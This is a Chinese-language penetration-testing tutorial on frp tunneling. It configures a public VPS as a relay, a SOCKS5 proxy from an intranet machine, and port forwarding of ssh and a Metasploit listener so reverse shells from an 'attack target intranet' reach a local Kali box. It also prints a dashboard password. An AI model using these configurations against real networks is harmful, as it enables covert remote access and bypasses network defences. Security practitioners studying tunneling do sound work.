内网隧道技术之frp：简单代理、msf反弹shell、CS联动msf

内网隧道技术之frp：简单代理、msf反弹shell、CS联动msf – 作者:ch4ngeba

前言

这篇文章介绍如何使用frp建立端口转发实现本地kali在公网ssh、本地msf在公网反弹shell；已经上线CS怎么联动本地msf

frp基础

1. 下载

下载地址

linux版在kali用，windows版在\/ps用

1617202234_60648c3a0050ec60a2dcd.png!small?1617202235480

2. kali设置代理

vi /etc/proxychains4.conf

socks5 1.166.166.6 7777

使用的时候可以在命令前加proxychains

3. msf设置代理

setg Proxies socks5:1.166.166.6:7777
setg ReverseAllowProxy true

4. windows设置代理

使用Proxifier工具

一级代理

1617214945_6064bde1165815b2561e5.png!small?1617214946554

1. \/PS配置服务端frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

运行

frps.exe -c frps.ini

2. 内网机器配置客户端frpc.ini

# frpc.ini
[common]
server_addr = 1.166.166.6
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5

运行

frpc.exe -c frpc.ini

3. 使用代理

ssh端口转发、msf反弹shell的端口转发—代理配置

在环境中，\/PS起到了桥梁的作用，使得两个内网可以相互通信

1. 环境描述

1.1 攻击目标内网

1.2 攻击桥梁\/PS(windows)，ip：1.166.166.6

1.3 本地机器kali linux，ip：10.1.0.4

1.4 工具：frp

2. 服务端配置

\/PS为服务端，假设ip为1.166.166.6

将下载的文件放在\/ps，编辑frps.ini文件配置

1617202982_60648f26e7bc70af0cda8.png!small?1617202984398

[common]

bind_port = 60121
dashboard_port = 88
dashboard_user = admin
dashboard_pwd = zcv2!#sWE3x

参数说明：

[common] # 名字
bind_port = port # 指的是frp的服务端端口，用来和客户端kali建立连接
dashboard_port = port # 可视化监控平台的端口，访问这个端口会得到一个网页版的监控
# http://1.166.166.6:88
dashboard_user = admin # 网页版的登录用户名
dashboard_pwd = zcv2!#sWE3x # 网页版的登录密码

配置好之后保存，进行运行

frps.exe -c frps.ini

1617203561_60649169bdb8bb105bb50.png!small?1617203563291

3. 客户端配置

将文件放进kali，解压命令

tar -zxvf frp_0.36.2_linux_amd64.tar.gz

1617203431_606490e706d991b42b56f.png!small?1617203432602

配置kali，让在本地内网的kali，也能使用公网的IP进行访问，客户端的配置文件为frpc.ini

1617203104_60648fa00814bc6a39dfc.png!small?1617203105472

[common]
server_addr = 1.166.166.6
server_port = 60121

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 60122
use_compression = true

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 60123

参数说明

[common]名称
server_addr = 1.166.166.6 # 服务器IP
server_port = 60121 # \/PS的端口，用来建立连接

[ssh] # 配置ssh登录的端口转发
type = tcp # 连接方式为TCP的方式
local_ip = 127.0.0.1 # 将本地的IP映射出去
local_port = 22 # 本地的端口为22
remote_port = 60122 # 映射的端口为60122，本地端口22映射到\/PS的60122
use_compression = true

[msf] # 配置msf的监听端口转发
type = tcp # 连接方式
local_ip = 127.0.0.1 # 本地IP
local_port = 1234 # 监听本地的端口
remote_port = 60123 # 映射的\/PS端口为60123，本地端口1234映射到\/PS的60123